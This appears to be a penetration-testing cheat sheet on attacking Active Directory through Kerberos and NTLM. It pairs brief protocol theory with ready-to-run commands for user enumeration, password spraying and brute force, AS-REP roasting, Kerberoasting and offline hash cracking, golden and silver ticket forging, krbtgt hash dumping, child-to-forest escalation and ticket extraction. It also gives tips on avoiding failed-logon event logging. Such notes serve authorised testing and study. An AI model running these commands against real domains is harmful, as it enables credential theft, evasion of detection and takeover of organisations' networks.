Kerberos

Cheatsheet : https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a KRB5CONF : https://gist.github.com/kaluche/ba69e701624c2e44e3d1f60c5370cebe

General & Theory

# Kerberos is just SSO, it's like SAML or OpenID.
# Authentication to a trusted source (KDC)
# KDC delegates access

# KDC = Key Distribution Center
# AS = Authentication Service
# TGT= Ticket Granting Ticket
# TGS = Ticket Graning Service

# In network, protocol used is KRB5
# TGS are for resources, not hosts

# Authentication Process
# - Authenticate to AS with a password → Get a TGT
# - Request access to resource from TGS → Show TGT
# - Valid TGT → Get TGS
# - Show TGS to resource → resource accepts TGS → Log in

# Each resource can check for valid TGS → Privileged Attribute Certificate (PAC) → Addition to Kerberos
# NTLM Authentication
# - chall/response using NT hash
# - NTLMSSP
# Communication with DC over NetLogon (RPC)

NTLM vs NTLMv1/v2 vs Net-NTLMv1/v2

# NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.
# However, NTLM (without v1/v2) means something completely different.

# NTLM hashes are stored in the SAM or NTDS database.
# It is LMHASH:NTHASH

# Net-NTLM hashes are used for network authentication

# You CAN perform Pass-The-Hash attacks with NTLM hashes
# You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes

Kerbrute

# Bruteforcing Windows passwords with Kerberos is much faster than any other approach 
# And potentially stealthier since pre-authentication failures do not trigger that
# "traditional" An account failed to log on event 4625. With Kerberos, you can validate 
# a username or test a login by only sending one UDP frame to the KDC (Domain Controller)

# User enum (valid/invalid)
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

# Password spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

# Brute force one user (take care of policy!)
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

# General bruteforce (from username:password wordlist or from stdin)
./kerbrute -d lab.ropnop.com bruteforce -

Impacket

# GetTGT
# Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
getTGT.py -hashes lm:nt domain.com/user
# GetST
# Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache.
# If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate 
# switch to request the ticket on behalf another user.
getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
# GetUserSPNs
# This example will try to find and fetch Service Principal Names that are associated with normal user accounts.
# Output is compatible with JtR and HashCat.
GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
# GetNPUsers
# This example will attempt to list and get TGTs for those users that have the property
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
# Get TGT for a user
→ GetNPUsers.py contoso.com/john.doe -no-pass
# Get a list of users with UF_DONT_REQUIRE_PREAUTH set
→ GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily
# Request TGTs for all users
→ GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily
# Request TGTs for users in a file
→ GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt
# ticketer
# This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC).
ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
# raiseChild
# This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.
python raiseChild.py childDomain.net/adminuser
python raiseChild.py childDomain.net/adminuser:mypwd
python raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser

# This will perform the attack and then psexec against target-exec as Enterprise Admin
python raiseChild.py -target-exec targetHost childDomainn.net/adminuser
# This will save the final goldenTicket generated in the ccache target file
python raiseChild.py -w ccache childDomain.net/adminuser

Technical tips

# All the Impacket scripts support Kerberos authentication as well:
# -k -no-pass
# must specify host as FQDN and user as realm/user
       
# MISC
# - NETLOGON is inefficient (SMB, rpcclient)
# - RDP is slow
# - LDAP binds are faster but still result in event 4625

# Ask for password
kinit user

# Events ID
# - Failing Kerberos pre-authentication DOES NOT trigger a Logon failure event (4625):
# - Have to manually specify event logging for Kerberos (which is in a different location)
# - If you're only logging on traditional “Logon failures”, you'd miss this.
# - Now failures will be logged as event 4771.
# - So Kerberos pre-auth is a faster and potentially stealthier way to bf password.

NTLM Auth Disabled

# Some orgs have fully disabled NTLM and rely solely on Kerberos (it's rare)
# - A lot of pentest tools don't operate well in these environements
# - MSF, CrackMapExec, etc. cause they rely on usernames/passwords or NT hashes
# - if you have a password you can always do Kerberos auth, just exchange the password for a TGT, you can also “overpass-the-hash”.

# SMB Error “STATUS_NOT_SUPPORTED” = NTLM Auth Not Supported → Kerberos
wmiexec.py domain/user@hostname

kinit user@domain

KRB5CCNAME=/tmp/krb5cc_0 python wmiexec.py

Password Bruteforcing

# Password bruteforcing
# - Care at policy, lockout is mostly at 3 failed attempts.
# - Windows security events are logged for every failed login attempts.
# - Usually tries SMB and has to set up a connection at every attempt.
# - Horizontal bruteforcing is a better approach
#     - Choose 1 or 2 common passwords, test them for every domain user

# Password guessing with Kerberos ! Only 2 frames to check password and it's UDP no TCP overhead.
# https://github.com/ropnop/kerberos_windows_scripts contains scripts to BF password using kinit ! 
# It's still lockout account, putting DC as an IP address saves us a DNS lookup each time (even faster).
script.sh <domain> <DC> <userlist> PasswordToTest

Service Principal Names (SPN)

# Service Principal Names (SPNs) are used in AD to tie services into Kerberos authentication
# Common SPN directory: http://adsecurity.org/?page_id=183
# To find SPN you can use LDAP:

ldapsearch -LLL -x -H ldap://pdc01.domain.com -D "user@domain" -W -b "dc=lab,dc=ropnop,dc=com" "servicePrincipalName=*" sAMAccountName servicePrincipalName 

# You can request a TGS for a SPN, e.g. to access RDP, use TGT to request TGS for TERMSRV/PDC01
# The TGS is encrypted with the service accounts NTLM password hash.
# It's possible to crack TGS offline, but cracking a TGS for a service SPN is generally useless UNLESS the SPN is tied to a user account.

ASREP Roasting

# AS-REP roasting is an attack against Kerberos for user that don't require preauthentication
# During preauthentication, a user will enter their password which will be used to encrypt a timestamp 
# and then the domain controller will attempt to decrypt it and validate that the right password was used and that 
# it is not replaying a previous request.  From there, the TGT will be issued for the user to use for future
# authentication.  If preauthentication is disabled, an attacker could request authentication data for any user and
#  the DC would return an encrypted TGT that can be brute-forced offline. 

# Using impacket
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py domain/user:passwrd -request -format [hashcat|john] -outputfile outfile

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py domain/ -usersfile <users_file> -format [hashcat|john] -outputfile outfile

# Using Rubeus
.\Rubeus.exe asreproast /format:[hashcat|john] /outfile:file

Kerberoasting

# For service accounts, it's common to set SPNs to user accounts, the TGS is then encrypted with the user's NTLM password hash:
# - It's called “Kerberoasting” and presented by Tim Medin at Derbycon 2015.

# Kerberoasting requires a valid domain account.
# Three step process:
# - Find SPN tied to user accounts through LDAP (service accounts)
# - Request a TGS for each SPN
# - Crack the TGS offline to recover the service account's password

# Impacket makees this easy with GetUserSPNs.py
# Will automatically LDAP query then request and TGS in JtR/Hashcat format.

GetUserSPNs.py -dc-ip 10.10.10.100 -outputfile kerberos_hashes.txt -request -debug active.htb/SVC_TGS:GPPstillStandingStrong2k18

# You may encounter issue with timezone, you can fix it out that way:
• service ntp stop

# Comment server line in /etc/ntp.conf
timedatectl set-ntp false

# Get time of the target:
ldapsearch -LLL -x -H ldap://10.10.10.100 -b '' -s base '(objectclass=*)'
See this => currentTime: 20180921143415.0Z (21/09/2018 at 14h34m15s)

dpkg-reconfigure tzdata (define None of the above, then GMT)
date --set="Fri 21 Sep 2018 14:35:00"

# Verify using several times “date”

# Once you get a TGS you can crack it that way using either hashcat or john the ripper from bleeding repo:
# You have to be in that folder /home/user/Desktop/Certifs/OSCP/Tools/PasswordCracking/JohnTheRipper/run
./john --wordlist=/home/user/Desktop/Certifs/OSCP/Tools/Wordlist/Bruteforce/rockyou.txt --fork=4 --format=krb5tgs /home/user/Desktop/HackTheBox/VM/Active/kerberos_hashes.txt
# Now you can perform such attacks without having access to LDAP
# The mentionned version of GetUserSPNs also patches some common errors
https://swarm.ptsecurity.com/kerberoasting-without-spns/

# If you managed to extract user list before, you can use it
GetUserSPNs.py DOMAIN.COM/Administrator:Pass -usersfile user.txt
# Over Pass the Hash (how can you do Kerberos auth without a password ?)
# - AS requests to get a TGT, it encrypts the nonce with the NT hash of the password (hash = encryption key)
# - So you can request a TGT with only the NT hash

# Forging Kerberos Tickets:
# - Using Mimikatz or Impacket we can forge TGTs or TGSs
# - Golden Ticket
#    - Forging a TGT (and the included PAC)
#    - Requires tje krbtgt key, the “master” encryption key from the KDC
#    - Can be used to request any TGS from the Domain Controller
# - Silver Ticket
#    - Forging a TGS (and included PAC)
#    - Requires the machine account password (key) from the KDC
#    - Can be used to directly access any service (without touching DC)

ticket.py --aesKey <xxxxxxxx> --domain-sid <S-1-xxxxxxx> --domain <domain> --duration <days> --groups <RIDs> <username>

secretsdump.py --just-dc-user krbtgt DOMAIN/user@IPDC

# Silver ticket is useful for persistence to a single host/service combo
# - Stealthier than Golden Tickets - you never need to actually contact the DC
# - It needs the machine accounts Kerberos key, machine accounts usually end in $
# - You must specify the service you need.

# Called “over-pass-the-hash”, natively with ktuitl and with Impacket.

Speaking Kerberos from Linux

 # Tool
apt-get install heimdal-clients

# Setting up
# Add Windows AD realm to /etc/krb5.conf
# You can figure names out through SRV DNS records
[libdefault]
        default_realm = LAB.ROPNOP.COM

[realms]
        LAB.ROPNOP.COM = {
                                        kdc = pdc01.lab.ropnop.com
                                        admin_server = pdc01.lab.ropnop.com
                                        default_domain = pdc01.lab.ropnop.com
                          }

[domain_realm]
        lab.ropnop.com = LAB.ROPNOP.COM
        .lab.ropnop.com = LAB.ROPNOP.COM


# DNS must be properly configured (/etc/resolv.conf)
domain lab.ropnop.com
search lab.ropnop.com
nameserver 172.16.13.100

# Time must be sync
apt-get install rdate
rdate -n <DC>

# Get a TGT (kinit is used to check out a TGT from the DC)
kinit user@REALM

# list current tickets (if all is ok, you'll get a TGT from the DC)
klist

# Now any tool that supports Kerberos auth can be used with your cache.
# GSSAPI = Kerberos => Auth mechanism that Kerberos 5 uses.
# Most tools use environment variable KRB5CCNAME to point to current cache, if not set automatically:
# export KRB5CCNAME=/tmp/krb5cc_0

# smbclient
smbclient --kerberos //client01.lab.ropnop.com/IPC$

# rpcclient
rpcclient -k client01.lab.ropnop.com

Extracting tickets from rubeus dump

https://github.com/curi0usJack/rubeus2ccache

# Run rubeus to dump tickets
rubeus dump /service:krbtgt > output.txt

# Extract
python3 rubeus2ccache.py -i output.txt

# Then load tickets into tools...